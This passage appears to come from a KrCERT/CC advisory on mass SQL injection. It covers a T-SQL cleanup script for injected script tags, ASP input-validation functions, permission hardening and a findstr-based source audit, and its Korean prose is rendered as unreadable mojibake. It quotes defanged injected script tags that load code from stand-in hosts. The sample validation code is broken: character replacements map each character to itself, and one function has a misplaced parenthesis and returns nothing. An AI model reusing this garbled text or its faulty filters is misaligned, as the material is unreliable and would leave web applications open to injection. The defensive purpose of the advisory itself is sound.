Update [Å×À̺í¸í] Set [Ä÷³¸í] = replace(cast([Ä÷³¸í] as varchar(8000)), '[»èÁ¦ÇÏ°íÀÚÇÏ´Â ¾Ç¼ºÄÚµå ¹®ÀÚ¿]', '') ¿¹> Update freebbs Set contents = replace(cast(contents as varchar(8000)), '<script src=hxxp://url/b.js></script>', '') | Âü°í·Î MS SQL 2005À̻󿡼´Â varchar(max)¸¦ »ç¿ë ÇÒ ¼ö ÀÖÀ¸¸ç, ÀÌ¿Ü¿¡µµ ´Ù¾çÇÑ ÀÚ·á Çü¿¡ ´ëÇØ °í·ÁÇØ¾ß ÇϹǷÎ, SQL¼¹ö¿¡¼ »ç¿ëÇÏ´Â Å« °ª ÀÚ·á Çü ¹®¼¸¦ Âü°íÇÏ°í, ¡°UPDATETEXT¡±¹®À» »ç¿ëÇÏ´Â °Íµµ ÇÔ²² °í·ÁÇÑ´Ù.
3) ÀÏ°ýº¹±¸ ½ºÅ©¸³Æ® »ç¿ë Ä÷³´ÜÀ§ÀÇ º¹±¸ ½ºÅ©¸³Æ®´Â º¹±¸´ë»ó Ä÷³ÀÌ ¸¹Àº °æ¿ì, ÀûÁö ¾ÊÀº ½Ã°£ÀÌ ÇÊ¿äÇϱ⠶§¹®¿¡ ¾Ç¼ºÄÚµå »èÁ¦¸¦ ´õ ºü¸£°Ô ¼öÇàÇÏ°íÀÚ ÇÑ´Ù¸é ÀÏ°ýº¹±¸ ½ºÅ©¸³Æ®¸¦ ÂüÁ¶ÇÏ¿© Àû¿ëÇÑ´Ù.
-- Mass SQL Injection ÇÇÇØ DB ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®, Çѱ¹¸¶ÀÌÅ©·Î¼ÒÇÁÆ® Á¦°ø -- »ç°íÀÇ Æ¯¼º »ó DB ÀÚ·á°ªµéÀÌ varchar ¶Ç´Â nvarchar µîÀ¸·Î Çüº¯È¯ µÇ°Å³ª Á¦ÇÑµÈ Àӽà °ø°£¿¡ ÀúÀåµÇ´Â °úÁ¤ÀÌ ÀÖ¾î ÀÚ·áÀÇ À¯½ÇÀ̳ª ¼Õ»óÀÌ ¹ß»ýÇÕ´Ï´Ù. -- ±×·¯¹Ç·Î, º» º¹±¸ ½ºÅ©¸³Æ®´Â ÀÌ·¯ÇÑ ÀüÇüÀûÀÎ Mass SQL Injection ÇÇÇظ¦ ÀÔÀº DBÀÇ º¹±¸¿¡¸¸ »ç¿ë ÇϽñ⠹ٶø´Ï´Ù. -- º» º¹±¸ ½ºÅ©¸³Æ®´Â DB°ü¸®ÀÚ¿Í ÃæºÐÈ÷ °ËÅäÇϽŠÈÄ Àû¿ëÇÏ¼Å¾ß Çϸç, ÀÌ¿¡ ´ëÇÑ Ã¥ÀÓÀº ÀüÀûÀ¸·Î »ç¿ëÀÚ¿¡°Ô ÀÖ½À´Ï´Ù. -- Mass SQL Injection¿¡ ´ëÇÑ ÀÚ·á´Â KrCERT/CC ȨÆäÀÌÁö(www.KrCERT.or.kr) º¸¾È°øÁö ¶Ç´Â ±â¼ú¹®¼¸¦ ÂüÁ¶ÇϽñ⠹ٶø´Ï´Ù. 2008. 11 KrCERT/CC, webcheck@krcert.or.kr declare @tab varchar(255), @col varchar(255), @owner varchar(255), @type int declare table_cursor cursor for select so.name, sc.name, sc.xtype, su.name from sysobjects so inner join syscolumns sc on so.id = sc.id inner join sysusers su on so.uid = su.uid where so.xtype='u' and (sc.xtype=99 or sc.xtype=35 or sc.xtype=231 or sc.xtype=167) open table_cursor fetch next from table_cursor into @tab, @col, @type, @owner while(@@fetch_status=0) begin -- varchar, text ¶Ç´Â nvarchar, ntext ÀÏ °æ¿ì MS-SQL 2005 ÀÌ»óÀÇ È¯°æÀ̶ó¸é varchar(max) ¶Ç´Â nvarchar(max) À¸·Î º¯°æÇÏ¿© »ç¿ë -- ¾Ç¼ºÄÚµå ºÎºÐÀ» ½ÇÁ¦ »èÁ¦ÇÏ·Á´Â ¾Ç¼ºÄÚµå·Î ¼öÁ¤ (¾Ç¼ºÄÚµå ¿¹: <script src=hxxp://malcode.tld></script>) if (@type = 35 or @type = 167) exec('update ' + @owner + '.[' + @tab + '] set [' + @col + '] = replace(convert(varchar(8000), [' + @col + ']), '<¾Ç¼ºÄÚµå>','''')') else exec('update ' + @owner + '.[' + @tab + '] set [' + @col + '] = replace(convert(nvarchar(4000), [' + @col + ']), '<¾Ç¼ºÄÚµå>','''')') print '[' + @col + ']' + ' column of ' + @owner + '.' + @tab + ' has been updated.' fetch next from table_cursor into @tab, @col, @type, @owner end close table_cursor deallocate table_cursor | À§ÀÇ ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®µµ º¹±¸ ´ë»ó µ¥ÀÌÅͺ£À̽º¿¡ Á÷Á¢ Àû¿ëÇϱâ Àü¿¡ ¹®Á¦°¡ ¾ø´ÂÁö ¹Ýµå½Ã Å×½ºÆ® ȯ°æ¿¡¼ È®ÀÎÀ» °ÅÃÄ¾ß ÇÑ´Ù.
ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®¿¡¼µµ °Á¦ Çü º¯È¯À» »ç¿ëÇ߱⠶§¹®¿¡ °ø°Ý ½ºÅ©¸³Æ®Ã³·³ µ¥ÀÌÅÍÀÇ À¯½ÇÀÌ ¹ß»ý ÇÒ ¼ÒÁö°¡ ÀÖ´Ù. ÇÏÁö¸¸ ¾Õ¼ ºÐ¼®ÇÑ ÇüÅÂÀÇ °ø°Ý ½ºÅ©¸³Æ®¿´´Ù¸é ÀÌ¹Ì Àӽú¯¼öÀÇ Å©±â¿¡ ¸Â°Ô µ¥ÀÌÅÍ°¡ Á¶Á¤µÈ »óÅÂÀ̹ǷΠÃß°¡ÀûÀÎ µ¥ÀÌÅÍÀÇ À¯½ÇÀº ¾øÀ» °ÍÀÌ´Ù.
³ª. ´ëÀÀ ¹æ¾È 1) µ¿Àû SQL»ç¿ë Áö¾ç µ¥ÀÌÅͺ£À̽º¿ÍÀÇ ¿¬µ¿ ºÎºÐ¿¡¼´Â µ¿Àû SQLÀ» ´õ ÀÌ»ó »ç¿ëÇÏÁö ¸»°í ÀúÀå ÇÁ·Î½ÃÀú¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù[1][2]. Áö±Ý±îÁöµµ ¸¹ÀÌ »ç¿ëµÇ°í ÀÖ´Â µ¿Àû SQL ¿Ï¼º ¹æ½ÄÀº º¯¼öÀÇ ÀԷ°ªÀ» ¿¬°á½ÃÄÑ SQL¹®À» ¿Ï¼º(Concatenation of SQL)½ÃÅ°´Â ÇüÅÂÀ̹ǷΠ°ø°ÝÀÚÀÇ SQL¹® ÁÖÀÔÀÌ ¸Å¿ì ¿ëÀÌÇÏ´Ù. ±×·¯³ª ÀúÀå ÇÁ·Î½ÃÀú¸¦ ÅëÇØ µ¥ÀÌÅͺ£À̽º ¿¬µ¿À» ±¸ÇöÇÑ´Ù¸é, ÀÌ¹Ì ÇÁ·Î½ÃÀú ³»ºÎ¿¡¼ ÀԷ°ª¿¡ ´ëÇÑ ÀÚ·á Çü °ËÁõÀÌ ÀÌ·ç¾îÁø´Ù. ¶ÇÇÑ ÇØ´ç ÇÁ·Î½ÃÀúÀÇ ³»ºÎ¿¡¼¸¸ ¿µÇâÀ» ³¢Ä¡±â ¶§¹®¿¡ º¸¾ÈÃø¸é¿¡¼µµ ´õ¿í ´õ ¾ÈÀüÇÏ°í, ¼º´ÉÀ̳ª À¯Áöº¸¼ö Ãø¸é¿¡¼µµ ´ë´ÜÈ÷ È¿°úÀûÀÌ´Ù.
2) ¾ÈÀüÇÑ À¥ »çÀÌÆ® ¼³°è¿Í ±¸Çö SQL Injection Ãë¾àÁ¡Àº ÀԷ°ª °ËÁõ ÀýÂ÷ ¹®Á¦¿¡ ±âÀÎÇϹǷÎ, °³¹ß´Ü°è¿¡¼ºÎÅÍ ¹Ýµå½Ã ¸ðµç ÀԷ°ª¿¡ ´ëÇØ ÀûÀýÇÑ °ËÁõÀýÂ÷¸¦ ¼³°èÇÏ°í ±¸ÇöÇØ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î °Ô½ÃÆÇÀÇ À̸§À» ó¸®ÇØ¾ß ÇÏ´Â ÆäÀÌÁö°¡ ÀÖ´Ù¸é °Ô½ÃÆÇ À̸§¿¡ ´ëÇÑ ÀԷ°ª¿¡ ´ëÇØ ´ÙÀ½ÀÇ ¿¹½Ã¿Í °°ÀÌ °ËÁõ ÇÒ ¼ö ÀÖ´Ù. °£·«È÷ °ËÁõ°úÁ¤À» ¿ä¾àÇϸé, ÀԷ°ªÀÇ Å©±â¸¦ °Ë»çÇÏ°í Ư¼ö¹®ÀÚ°¡ ÀÖ´Â °æ¿ì À§ÇèÇÏÁö ¾ÊÀº ¹®ÀڷΠġȯÇÑ ÈÄ ÀԷ°ªÀÌ Çã¿ë¹üÀ§ ³»¿¡ Á¸ÀçÇÏ´ÂÁö °Ë»çÇÏ´Â ¹æ½ÄÀÌ´Ù.
°Ô½ÃÆÇ À̸§ ó¸®¿ë °ËÁõ ÇÔ¼ö ¿¹½Ã ÀԷ°ªÀ» Àü´Þ¹ÞÀ» º¯¼ö¸¦ ¼±¾ðÇÏ°í °¡Àå ¸ÕÀú LenStrÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀÌ 10ÀÚ À̳»ÀÎÁö °ËÁõÇÑ´Ù.
Dim bbstitle : bbstitle = (InputFilter(ReplaceChar(LenStr(Request.QueryString(¡°title"),10))) | Ư¼ö¹®ÀÚ Ä¡È¯ ÇÔ¼ö ¿¹½Ã ÀԷ°ª¿¡ ºÎÀûÀýÇÑ Æ¯¼ö¹®ÀÚ°¡ ÀÖ´ÂÁö °Ë»çÇÏ¿© ¼¹ö³ª ºê¶ó¿ìÀú¿¡¼ ½ÇÇàµÇÁö ¾Ê´Â ¾ÈÀüÇÑ ÄÚµå·Î ġȯÇÑ´Ù. ¿¹¸¦ µé¾î ÀÛÀºµû¿ÈÇ¥(¡®) ³ª ºÎµîÈ£(<,>)¸¦ ÀÔ·Â ÇÏ´õ¶óµµ HTML¿¡¼ Ç¥Çö°¡´ÉÇÑ ¹®ÀÚ ÄÚµå·Î ġȯµÇ¹Ç·Î ¼¹ö³ª ºê¶ó¿ìÀú¿¡¼´Â ÇÁ ·Î±×·¥ÀÇ ÀÏºÎ·Î½á ½ÇÇàµÇÁö ¾Ê°í ȸ鿡 Ç¥½Ã¸¸ ÇÑ´Ù. ±×·¯¹Ç·Î Á¤»óÀûÀÎ Á¢¼ÓÀÚÀÇÀÔÀå¿¡¼´Â À¥ ºê¶ó¿ìÀú¿¡¼ µ¿ÀÏÇÏ°Ô ³ªÅ¸³» Áֱ⠶§¹®¿¡ ºÒÆíÇÔÀÌ ¾ø´Ù.
Function ReplaceChar(str) ReplaceChar = "" If str <> "" Then str = replace(str, "<", "<") str = replace(str, ">", ">") str = replace(str, """, """) str = replace(str, "|", "|") str = replace(str, "$", "$") str = replace(str, "%", "%") str = replace(str, "'", "'") str = replace(str, "/", "/") str = replace(str, "(", "(") str = replace(str, ")", ")") str = replace(str, ",", ",") End If ReplaceChar = str End Function |
Çã¿ë ¹üÀ§ °ËÁõ ÇÔ¼ö ¿¹½Ã ÀԷ°ªÀÌ ÀûÀýÇÑ Çã¿ë ¹üÀ§¿¡ ¼ÓÇÏ´ÂÁö È®ÀÎÇÏ´Â ÇÔ¼öÀÌ´Ù. Çã¿ëÇÒ ¹üÀ§¸¸ Á¤ÀÇÇÏ¿© ±× ¿ÜÀÇ ÀԷ°ªÀº ¸ðµÎ ¿¹¿Üó¸® ÇÏ´Â ±¸Á¶À̹ǷΠ°ø°Ý ÆÐÅÏÀÇ º¯È¿¡ ÀÇÁ¸ÀûÀÌÁö ¾Ê´Ù.
Function InputFilter(str) ' Á¤¼ö, ¾ËÆĺª, &, #, ; ¸¸ Çã¿ë Dim i, ret ret = TRUE For i = 1 To Len(str) If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, i, 1)) <= 57) Or (Asc(Mid(str, i, 1)) >= 65 And Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i, 1)) >= 97 And Asc(Mid(str, i, 1)) <= 122) Or Asc(Mid(str, i, 1)=35 Or Asc(Mid(str, i, 1)) = 38 Or Asc(Mid(str, i, 1)) = 59) Then ret = FALSE End If Next If ret = TRUE Then titlecheck = str Else titlecheck = 0 Response.Write "<script>alert('ºÎÀûÀýÇÑ °ªÀÌ ÀԷµǾú½À´Ï´Ù.'); history.back();</script>¡° Response.End End If End Function | ¸¸¾à ÀÌ·¯ÇÑ Çã¿ë¹üÀ§ ¸í½Ã¹æ½Ä ¶Ç´Â White List·Î °ËÁõÇÏ´Â Positive Filtering ¹æ½ÄÀ¸·Î °ËÁõÇÏÁö ¾Ê°í, °ÅºÎ³ª Â÷´Ü ´ë»óÀ» ³ª¿ÇÏ´Â Çã¿ëºÒ°¡ ¸í½Ã¹æ½Ä ¶Ç´Â Black List·Î °ËÁõÇÏ´Â Negative Filtering ¹æ½ÄÀ¸·Î ±¸Çö ÇÑ´Ù¸é Áö¼ÓÀûÀ¸·Î °ÅºÎÇÒ ´ë»óÀ» ÀÏÀÏÀÌ Ãß°¡ ÇØ ÁÖ¾î¾ß ÇÏ´Â ¾î·Á¿òÀÌ ¹ß»ýÇÑ´Ù. ±×·¯¹Ç·Î ¹Ýµå½Ã Çã¿ëÇÒ ´ë»óÀ» ¸í½ÃÇÏ°í ±× ÀÌ¿ÜÀÇ °æ¿ì´Â ¿¹¿Ü󸮸¦ ÇØ¾ß ½Ã°£À̳ª ºñ¿ë¸é¿¡¼µµ ÈξÀ È¿°úÀûÀÌ´Ù.
3) À¥ ¼¹ö º¸¾È °È SQL Injection¿¡ ´ëÇÑ ±Ùº»ÀûÀÎ ¹®Á¦ ÇØ°áÀ» À§Çؼ´Â ÇÁ·Î±×·¥ º¸¿Ï Á¶Ä¡°¡ ¹Ýµå½Ã ÇÊ¿äÇÏÁö¸¸, À¥ ¼¹öÀÇ º¸¾È °È ¼³Á¤À» ÅëÇؼµµ º¸¿ÏÀûÀÎ È¿°ú¸¦ º¼ ¼ö ÀÖ´Ù.
ÀÚ¼¼ÇÑ ¿À·ù ³»¿ë Ç¥½Ã Â÷´Ü IIS À¥ ¼¹ö¿¡¼´Â ±âº»ÀûÀ¸·Î À¥ ¼ºñ½ºÀÇ ¿À·ù°¡ ¹ß»ý ÇÒ ¶§, ÀÚ¼¼ÇÑ ¿À·ù ¸Þ½ÃÁö¸¦ Á¢¼ÓÀÚ¿¡°Ô Ç¥½ÃÇÏ°Ô µÇ¾î ÀÖ´Ù. ±×·¯¹Ç·Î ÀÌ ¼³Á¤À» º¯°æÇÏ¿© °ø°ÝÀÚ°¡ ¿À·ù ¸Þ½ÃÁö¸¦ ÅëÇØ À¯¿ëÇÑ Á¤º¸¸¦ ¼öÁýÇÒ ¼ö ¾øµµ·Ï ¼öÁ¤ÇØ¾ß ÇÑ´Ù.
ÀϹÝÀûÀÎ SQL Injection °ø°ÝÀÇ °æ¿ì ¿À·ù ¸Þ½ÃÁö¸¦ ±â¹ÝÀ¸·Î Á¤º¸¸¦ ÃßÃâÇÏ°Ô µÇ¹Ç·Î, ÀÌ ¼³Á¤ º¯°æ¸¸À¸·Îµµ ¹æ¾îÈ¿°ú¸¦ º¼ ¼ö ÀÖ´Ù. ´Ù¸¸, Blindfolded SQL Injection[1]À̳ª ½Ã½ºÅÛ ¸í·É¾î¸¦ ¼öÇàÇÏ´Â SQL Injection°ø°ÝÀº Â÷´ÜÇÒ ¼ö ¾øÀ¸¹Ç·Î ¹Ýµå½Ã ÇÁ·Î±×·¥ ¼öÁ¤ÀÇ º¸¿ÏÁ¶Ä¡·Î È°¿ëÇØ¾ß ÇÑ´Ù.
SQL ¼¹ö º¸¾È °È À¥ ÆäÀÌÁö¿Í MS-SQL ¼¹ö¸¦ ¿¬µ¿ ÇÒ ¶§, µ¥ÀÌÅͺ£À̽ºÀÇ °ü¸®ÀÚ °èÁ¤ÀÎ SA °èÁ¤À» »ç¿ëÇÏ°Ô µÇ¸é °ø°ÝÀÚ°¡ ¾Ç¿ëÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¸Å¿ì À§ÇèÇÏ´Ù. ±×·¯¹Ç·Î ¹Ý µå½Ã »ç¿ëÀÚ °èÁ¤À» »ç¿ëÇÏ°í ÃÖ¼Ò ±ÇÇѸ¸À» ÇÒ´çÇÏ¿© »ç¿ëÇØ¾ß ÇÑ´Ù. ¶ÇÇÑ, ¾Õ¼ ºÐ¼®ÇÑ °ø°Ý ½ºÅ©¸³Æ®ÀÇ °æ¿ì ½Ã½ºÅÛ Å×À̺íÀÎ Syscolumns¿Í SysobjectsÀÇ Á¤º¸¸¦ ÀÌ¿ëÇÏ°í ÀÖÀ¸¹Ç·Î, ¹Ýµå½Ã ÇÊ¿äÇÏÁö ¾ÊÀº °æ¿ì¶ó¸é »ç¿ëÀÚ °èÁ¤À̳ª ¡°public¡±°èÁ¤¿¡ ÇÒ´çµÇ¾î ÀÖ´Â ¡°SELECT¡± ±ÇÇÑÀ» Á¦°ÅÇÏ´Â °ÍÀÌ ¾ÈÀüÇÏ´Ù.
±×¸®°í À§ÀÇ ¼³Á¤À» ¸í·É¾î¸¦ ÅëÇØ ½ÇÇà½ÃÅ°°íÀÚ ÇÑ´Ù¸é ¾Æ·¡ÀÇ ½ºÅ©¸³Æ®¿Í °°ÀÌ ½ÇÇàÇÏ¸é µÈ´Ù.
use <»ç¿ëÀÚµ¥ÀÌÅͺ£½º¸í> go DENY SELECT ON sysobjects TO userid DENY SELECT ON syscolumns TO userid go | À§ÀÇ ¸í·ÉÀ» ½ÇÇàÇÏ¸é ¡°userid¡±¶ó´Â »ç¿ëÀÚ°èÁ¤¿¡ ´ëÇؼ Sysobjects ¹× Syscolumns Å×ÀÌºí¿¡ ´ëÇÑ ¡°SELECT¡± ±ÇÇÑÀ» Á¦ÇÑÇÏ°Ô µÇ¸ç, ÇØ´ç »ç¿ëÀÚ°èÁ¤¿¡¼ Sysobjects³ª Syscolumns ½Ã½ºÅÛ Å×À̺í Á¶È¸ ½Ã ´ÙÀ½°ú °°Àº ¿À·ù¿Í ÇÔ²² ½ÇÆÐÇÏ°Ô µÈ´Ù.
[¿À·ù¸Þ½ÃÁö] ¼¹ö: ¸Þ½ÃÁö 229, ¼öÁØ 14, »óÅ 5, ÁÙ 1 'dbo' ¼ÒÀ¯ÀÚ, 'pubs' µ¥ÀÌÅͺ£À̽º, 'sysobjects' °³Ã¼¿¡ ´ëÇÑ SELECT »ç¿ë ±ÇÇÑÀÌ °ÅºÎµÇ¾ú½À´Ï´Ù. | ¸¸¾à ƯÁ¤ »ç¿ëÀÚ °èÁ¤¿¡ ´ëÇؼ Sysobjects ¹× Syscolumns ½Ã½ºÅÛ Å×ÀÌºí¿¡ ´ëÇÑ ¡°SELECT¡± ±ÇÇÑÀ» ´Ù½Ã ºÎ¿©ÇÏ·Á¸é ¾Æ·¡¿Í °°ÀÌ ½ÇÇàÇÏ¸é µÈ´Ù.
use <»ç¿ëÀÚµ¥ÀÌÅͺ£½º¸í> go GRANT SELECT ON sysobjects TO userid GRANT SELECT ON syscolumns TO userid go |
4) À¥ ¹æȺ® È°¿ë À¥º¸¾È Ãë¾àÁ¡ÀÇ ±Ùº»ÀûÀÎ ¹®Á¦ ÇØ°áÀ» À§Çؼ´Â ÇÁ·Î±×·¥ÀÇ º¸¿ÏÁ¶Ä¡°¡ ¹Ýµå½Ã ÇÊ¿äÇÏ´Ù. ÇÏÁö¸¸ ¿î¿µ ÁßÀΠȨÆäÀÌÁö¿¡¼ ÇÁ·Î±×·¥ ¼öÁ¤À¸·Î ÀÎÇÑ ¹®Á¦µéµµ °ËÅä ÇÏ¿© Á¶Ä¡ÇØ¾ß Çϱ⠶§¹®¿¡, ±× ½Ã°£ µ¿¾ÈÀº À¥¹æȺ®À̳ª ºÎ°¡ÀûÀÎ º¸¿ÏÁ¶Ä¡µéÀ» ÅëÇØ ½Ã°£À» È®º¸ ÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î À©µµ¿ìÁîÀÇ IIS ȯ°æÀ̶ó¸é URLScan[1]À̳ª °ø°³À¥¹æȺ® WebKnight[2]¸¦ È°¿ëÇÏ¿© º¸¾È¼öÁØÀ» Çâ»ó½Ãų ¼ö ÀÖ´Ù. ƯÈ÷ WebKnightÀÇ °æ¿ì´Â KrCERT/CCÀÇ °ø°³À¥¹æȺ® ¾È³» ÆäÀÌÁö[3]¿¡¼ °¢Á¾ °¡À̵å¿Í Ç¥ÁØ Á¤Ã¥ ¹× ±â ¼úÁö¿øµµ Á¦°ø ÇÏ°í ÀÖ´Ù. Âü°í·Î À̹ø ºÐ¼®¿¡¼ ¾ð±ÞÇÑ, ÄíÅ°¿¡ ´ëÇÑ SQL Injection°ø°ÝÀ» Â÷´ÜÇϱâ À§Çؼ´Â ¹Ýµå½Ã ±×¸²°ú °°ÀÌ ÇØ´ç ±â´ÉÀ» È°¼ºÈÇØ¾ß ÇÑ´Ù.
H TTP Çì´õÀÇ Æ¯¼º »ó Ư¼ö¹®ÀÚ°¡ ¸¹ÀÌ »ç¿ë µÇ¹Ç·Î, Â÷´Ü ¼³Á¤ ÈÄ¿¡´Â ÀÏÁ¤ ±â°£ µ¿¾È ·Î±× ¸ð´ÏÅ͸µÀ» ÅëÇØ ¼ºñ½º¿¡ ¹®Á¦°¡ ¾ø´ÂÁö È®ÀÎÇØ¾ß ÇÑ´Ù.
ÇÏÁö¸¸, ¾îµð±îÁö³ª À¥ ¹æȺ®Àº º¸¿Ï ÀåÄ¡·Î È°¿ëÇØ¾ß Çϸç, ÇÁ·Î±×·¥ ¼öÁ¤ Á¶Ä¡ µîÀÇ ±Ùº»ÀûÀÎ ¿øÀÎ Á¦°Å°¡ ¹Ýµå½Ã ¼öÇàµÇ¾î¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ÀüÀï¿¡ ³ª°£ º´»ç°¡ ¾Æ¹«¸® Æ°Æ°ÇÑ °©¿ÊÀ» ÀÔ¾ú´õ¶óµµ °Ç°ÇÏÁö ¾Ê°Å³ª ±âº» ü·ÂÀÌ ÃæºÐÄ¡ ¾Ê´Ù¸é °á±¹ ±× °©¿ÊÁ¶Â÷ ¹«¿ëÁö¹°ÀÌ µÉ °ÍÀÌ´Ù.
5) À¥º¸¾È Ãë¾àÁ¡ Á¡°Ë ¼³°è¿Í ±¸Çö¿¡ ÀÖ¾î¼ ¾ÈÀüÇÑ °³¹ß ÀýÂ÷¿¡ µû¶ó °³¹ßµÇ¾ú´õ¶óµµ Á¸ÀçÇÒ ¼ö ÀÖ´Â º¸¾È ¹®Á¦µéÀ» Á¡°ËÇÏ°í Áø´ÜÇÏ´Â °úÁ¤ÀÌ ÇÊ¿äÇÏ´Ù. ƯÈ÷ SQL InjectionÀÇ °æ¿ì´Â ÇÁ·Î±×·¥ ¼Ò½º »ó¿¡¼ ÀԷ°ª °ËÁõÀÌ ÀûÀýÈ÷ ÀÌ ·ç¾îÁ³´ÂÁö Á¡°Ë(White box test) ÇØ º¸°í À¥ Ãë¾àÁ¡ Á¡°Ë µµ±¸¸¦ º´ÇàÇÏ¿© Á¡°Ë (Black box test)ÇØ º»´Ù¸é ´õ¿í ´õ ¾ÈÀüÇÑ À¥ ¼ºñ½º ¿î¿µÀÌ µÉ °ÍÀÌ´Ù. ¿¹¸¦ µé¾î ¸¶ÀÌÅ©·Î¼ÒÇÁÆ®¿¡¼ Á¦°øÇÏ´Â ¼Ò½ºÄÚµå °Ë»ç µµ±¸ÀÎ Microsoft Source Code Analyzer for SQL Injection[1]À» È°¿ëÇϰųª, À©µµ¿ìÁî ³»Àå ¸í·É¾îÀÎ ¡°findstr¡±À» ÅëÇØ ¿ÜºÎ·ÎºÎÅÍ ÀÔ·Â ¹Þ´Â µ¥ÀÌÅÍ°¡ °ËÁõ ÇÔ¼ö¸¦ °ÅÄ¡´Â Áö È®ÀÎÇØ º¼ ÇÊ¿ä°¡ ÀÖ´Ù. ¾Æ·¡ÀÇ Á¡°Ë ¿¹Á¦´Â "findstr" ¸í·É¾î¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀ» ¹Þ´Â ÇÁ·Î±×·¥ ¼Ò½º ºÎºÐÀ» °Ë»çÇÏ´Â ¿¹Á¦ÀÌ´Ù. ¾Æ·¡ÀÇ ¿¹½Ã´ë·Î °Ë»çÇϸé ÀԷ°ª °ËÁõ ÇÔ¼ö¸¦ µ¿ÀÏ Çà ¿¡¼ ó¸® ÇÏÁö ¾Ê´Â °æ¿ì¸¦ ã¾Æ º¼ ¼ö ÀÖ´Ù.
findstr /I /S /G [request°´Ã¼¸ñ·Ï] *.asp | findstr /I /V "[ÀԷ°ª°ËÁõÇÔ¼ö¸í]" ¿¹) findstr /I /S /G arglist.txt *.asp | findstr /I /V "inputfilter\(" |
arglist.txt
request.form request.QueryString request.ServerVariables request.Cookies request\( | |
±×¸®°í À¥ Ãë¾àÁ¡ Á¡°Ë µµ±¸¸¦ »ç¿ëÇؼ Áø´ÜÇØ º¼ ¼öµµ Àִµ¥, À¥º¸¾È Á¡°Ë µµ±¸´Â sectools.org[1]³ª NIST ȨÆäÀÌÁö[2] µî¿¡¼ ¼Ò°³ÇÏ°í ÀÖ´Ù. ¶ÇÇÑ, PAROS, N-Stealth, Scrawlr, Wikto µîÀÇ ¹«·á Á¡°Ëµµ±¸µéÀ» È°¿ëÇÏ¿© Á¡°Ë ÇØ º¼ ¼ö ÀÖ´Ù. ±×¸®°í KrCERT/CC¿¡¼ Á¦°øÇÏ´Â ¿ø°Ý À¥ Ãë¾àÁ¡ Á¡°Ë ¼ºñ½º¸¦ ÀÌ¿ëÇϸé À¥ Ãë¾àÁ¡ ¿ø°Ý Á¡°Ë ¼ºñ½º¸¦ Á¦°ø ¹ÞÀ» ¼ö ÀÖÀ¸¸ç, Á¡°Ë ½ÅûÀº ȨÆäÀÌÁö (http://webcheck.krcert.or.kr) ¿¡¼ Á¢¼ö ¹Þ°í ÀÖ´Ù. ´Ù¸¸, ºñ¿µ¸®´Üü³ª ¿µ¼¼±â¾÷ µî Á¤º¸º¸È£Ãë¾à°èÃþÀ» ´ë»óÀ¸·Î Á¦°øÇϹǷΠ¼ºñ½º ´ë»ó¿¡ ÇØ´ç ÇÏ´Â °æ¿ì¿¡¸¸ ¼ºñ½º ¹ÞÀ» ¼ö ÀÖ´Ù.
À¥ ¼ºñ½ºÀÇ ³í¸®Àû ¿À·ù³ª Æ¯ÈµÈ ¼ºñ½º¿¡ ´ëÇØ Á¤¹ÐÇÑ Á¡°ËÀÌ ÇÊ¿äÇÑ °æ¿ì¿¡´Â ÇöȲ Æľǰú ¹®Á¦Á¡ Áø´Ü °úÁ¤¿¡ ÀÖ¾î¼ ¸Å¿ì Àü¹®ÀûÀÎ Àη°ú ¸¹Àº ½Ã°£ÀÌ ÇÊ¿ä ÇÏ´Ù. ±×·¯¹Ç·Î Á¤º¸º¸È£Àü¹®¾÷üÀÇ ÄÁ¼³ÆÃÀ» ÅëÇØ ´õ¿í ´õ ±íÀÌ ÀÖ°í »ó¼¼ÇÑ Áø´ÜÀ» ¹ÞÀ» °ÍÀ» ±Ç°íÇÑ´Ù.
4. ¸ÎÀ½¸» ÀÎÅÍ³Ý È¨ÆäÀÌÁö¸¦ ¿î¿µÇÑ´Ù¸é ´ëºÎºÐÀÇ Á¢¼ÓÀÚµéÀº ȨÆäÀÌÁö ¿î¿µÀÚÀÇ °í°´ÀÏ °ÍÀÌ´Ù. ÇÏÁö¸¸ °ø°ÝÀÚµé·Î ÀÎÇØ ¾Ç¼ºÄڵ尡 »ðÀԵǰí, ÀÌ·¯ÇÑ ¾Ç¼ºÄÚµå ¶§¹®¿¡ Á¢¼ÓÀÚµéÀÌ ÇÇÇظ¦ ÀԴ´ٸé, À¥ ¼¹ö ħÇØ»ç°í·Î ÀÎÇÑ ¼Õ½Çº¸´Ù ´õ¿í ´õ ½É°¢ÇÑ ¹®Á¦·Î ¹ßÀüÇÏ°Ô µÈ´Ù. ¿¹¸¦ µé¾î ±â¾÷ÀÇ Á¦Ç°È«º¸ÆäÀÌÁö¿¡ Á¢¼ÓÇß´Ù°¡ ¾Ç¼ºÄڵ忡 ´Ù¼öÀÇ °í°´ PC°¡ °¨¿°µÈ´Ù¸é ±× ±â¾÷Àº Ä¡¸íÀûÀÌ°í ½É°¢ÇÑ ¹®Á¦¿¡ Á÷¸é ÇÒ °ÍÀÌ´Ù. ±×·¯¹Ç·Î ½ÃÇàÂø¿À¸¦ °Þ´õ¶óµµ º¸¾È¼öÁØ °È¸¦ À§ÇÑ ÀÏ·ÃÀÇ ¾÷¹«µéÀ» ÀýÂ÷·Î È®¸³ÇÏ°í ²ÙÁØÈ÷ °³¼±½ÃÄÑ ³ª°£´Ù¸é ¼º°øÀûÀÎ ¼ºñ½º ¿î¿µ»Ó¸¸ ¾Æ´Ï¶ó ±× °æÇèÁ¶Â÷ Å« ÀÚ»êÀÌ µÉ °ÍÀÌ´Ù. ¸¶Áö¸·À¸·Î ÇÁ·Î±×·¥ °³¹ßÀ̳ª ¼¹ö °ü¸®µµ »ç¶÷ÀÌ ÇÏ´Â ÀÏÀ̹ǷΠ½Ç¼ö´Â Àֱ⠸¶·ÃÀÌÁö¸¸, ±× ½Ç¼öÁ¶Â÷µµ ¹æÁö ÇÏ´Â µ¥ µµ¿òÀÌ µÉ ¼ö ÀÖµµ·Ï ¡°Foolproof¡± ¶ó´Â °³³äÀ» ¼Ò°³ÇÑ´Ù. ¡°Foolproof¡±´Â 